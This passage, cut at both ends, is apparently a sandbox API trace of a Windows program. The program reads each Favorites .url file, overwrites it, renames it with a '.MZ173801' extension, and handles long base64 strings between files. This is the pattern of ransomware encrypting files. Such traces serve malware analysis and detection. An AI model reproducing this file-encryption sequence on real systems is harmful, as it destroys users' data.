lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.185] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.185] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.185] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.185] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.186] CloseHandle (hObject=0x224) returned 1 [0144.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.187] WriteFile (in: hFile=0x224, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.188] CloseHandle (hObject=0x224) returned 1 [0144.188] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.mz173801")) returned 1 [0144.189] GetCurrentThreadId () returned 0x9fc [0144.189] GetCurrentThreadId () returned 0x9fc [0144.189] GetCurrentThreadId () returned 0x9fc [0144.189] GetCurrentThreadId () returned 0x9fc [0144.189] GetCurrentThreadId () returned 0x9fc [0144.189] GetCurrentThreadId () returned 0x9fc [0144.189] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0144.189] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.189] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.191] GetCurrentThreadId () returned 0x9fc [0144.191] GetCurrentThreadId () returned 0x9fc [0144.191] GetCurrentThreadId () returned 0x9fc [0144.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.193] GetCurrentThreadId () returned 0x9fc [0144.193] GetCurrentThreadId () returned 0x9fc [0144.193] GetCurrentThreadId () returned 0x9fc [0144.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.193] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.193] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.193] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.193] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.193] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.194] CloseHandle (hObject=0x224) returned 1 [0144.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.195] WriteFile (in: hFile=0x224, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.196] CloseHandle (hObject=0x224) returned 1 [0144.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.mz173801")) returned 1 [0144.197] GetCurrentThreadId () returned 0x9fc [0144.197] GetCurrentThreadId () returned 0x9fc [0144.197] GetCurrentThreadId () returned 0x9fc [0144.197] GetCurrentThreadId () returned 0x9fc [0144.197] GetCurrentThreadId () returned 0x9fc [0144.197] GetCurrentThreadId () returned 0x9fc [0144.197] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0144.197] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.197] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, 